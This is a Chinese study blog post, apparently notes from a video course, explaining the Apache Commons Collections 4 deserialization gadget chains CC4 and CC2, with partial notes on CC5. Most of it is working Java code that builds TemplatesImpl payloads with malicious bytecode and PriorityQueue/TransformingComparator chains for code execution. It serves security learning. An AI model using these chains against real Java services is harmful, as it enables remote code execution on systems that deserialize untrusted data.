声明:本文为b站白日梦组长视频学习笔记,如有侵权,联系我速删
组长b站的传送门:https://space.bilibili.com/2142877265/?spm_id_from=333.999.0.0
CC4+CC2+CC5+CC7链
cc4和cc2是基于commonscollections4的
一、CC4

我们还是像挖掘commonscollections3的反序列化链一样,找找有没有调用transform的地方

这里是commonscollections4新增的一个比较器(3中也有但是没有实现seilazible接口),在compare中调用了transform
接下来找一个调用compare()的地方,作者这里给出的是PriorityQueue类
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37 38 39
| private void readObject(java.io.ObjectInputStream s) throws java.io.IOException, ClassNotFoundException { s.defaultReadObject(); s.readInt();
queue = new Object[size];
for (int i = 0; i < size; i++) queue[i] = s.readObject();
heapify(); } private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); } private void siftDown(int k, E x) { if (comparator != null) siftDownUsingComparator(k, x) else siftDownComparable(k, x); } private void siftDownUsingComparator(int k, E x) { int half = size >>> 1; while (k < half) { int child = (k << 1) + 1; Object c = queue[child]; int right = child + 1; if (right < size && comparator.compare((E) c, (E) queue[right]) > 0) c = queue[child = right]; if (comparator.compare(x, (E) c) <= 0) break; queue[k] = c; k = child; } queue[k] = x; }
|
我们在PriorityQueue类中看到了一条完美的调用链
readObject() --> heapify() --> siftDown() --> siftDownUsingComparator --> TransformingComparator.compare
1 2 3
| TransformingComparator transformingComparator = new TransformingComparator(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);
|
我们运行发现没有结果,因为有个条件需要满足
1 2 3 4
| private void heapify() { for (int i = (size >>> 1) - 1; i >= 0; i--) siftDown(i, (E) queue[i]); }
|
要想调用siftDown,就要满足(size >>> 1 )大于等于1,也就是说要给队列传最少2个元素


这里的话还是有一个问题,调用add()方法最终也会走到compare(),然后弹出计算器,还是老方法,先改一个transform,然后再反射改回来
最终代码
1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31 32 33 34 35 36 37
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesFiled = tc.getDeclaredField("_bytecodes"); bytecodesFiled.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class")); byte[][] codes = {code}; bytecodesFiled.set(templates,codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory"); tfactoryFiled.setAccessible(true); tfactoryFiled.set(templates,new TransformerFactoryImpl());
Transformer[] transformers = new Transformer[]{ new ConstantTransformer(TrAXFilter.class), new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates}) };
ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
TransformingComparator transformingComparator = new TransformingComparator(new ChainedTransformer()); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(1); priorityQueue.add(2);
Class c = transformingComparator.getClass(); Field transformerFiled = c.getDeclaredField("transformer"); transformerFiled.setAccessible(true); transformerFiled.set(transformingComparator,chainedTransformer);
unserialize("ser.bin");
}
|
二、CC2
cc2与CC4的区别就在于没有使用InstantiateTransformer 调用TrAXFilter的构造方法来执行newTransformer(),而是直接用InvokerTransformer执行newTransformer,类似于CC3的InvokerTransformer版本

1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18 19 20 21 22 23 24 25 26 27 28 29 30 31
| public static void main(String[] args) throws Exception { TemplatesImpl templates = new TemplatesImpl(); Class tc = templates.getClass(); Field nameFiled = tc.getDeclaredField("_name"); nameFiled.setAccessible(true); nameFiled.set(templates,"aaaa"); Field bytecodesFiled = tc.getDeclaredField("_bytecodes"); bytecodesFiled.setAccessible(true); byte[] code = Files.readAllBytes(Paths.get("D://Temp/classes/Test.class")); byte[][] codes = {code}; bytecodesFiled.set(templates,codes);
Field tfactoryFiled = tc.getDeclaredField("_tfactory"); tfactoryFiled.setAccessible(true); tfactoryFiled.set(templates,new TransformerFactoryImpl());
InvokerTransformer<Object,Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
TransformingComparator transformingComparator = new TransformingComparator(new ConstantTransformer(1)); PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator); priorityQueue.add(templates); priorityQueue.add(2);
Class c = transformingComparator.getClass(); Field transformerFiled = c.getDeclaredField("transformer"); transformerFiled.setAccessible(true); transformerFiled.set(transformingComparator,invokerTransformer);
unserialize("ser.bin"); }
|
三、CC5

1 2 3 4 5 6 7 8 9 10
| private void readObject(ObjectInputStream ois) { if (valObj == null) { ...... } else if (......) { val = valObj.toString(); } else { ...... } }
|
1 2 3 4 5 6 7
| public String toString() { return getKey() + "=" + getValue(); } public Object getValue() { return map.get(key); }
|
四、CC7

未完待续。。。。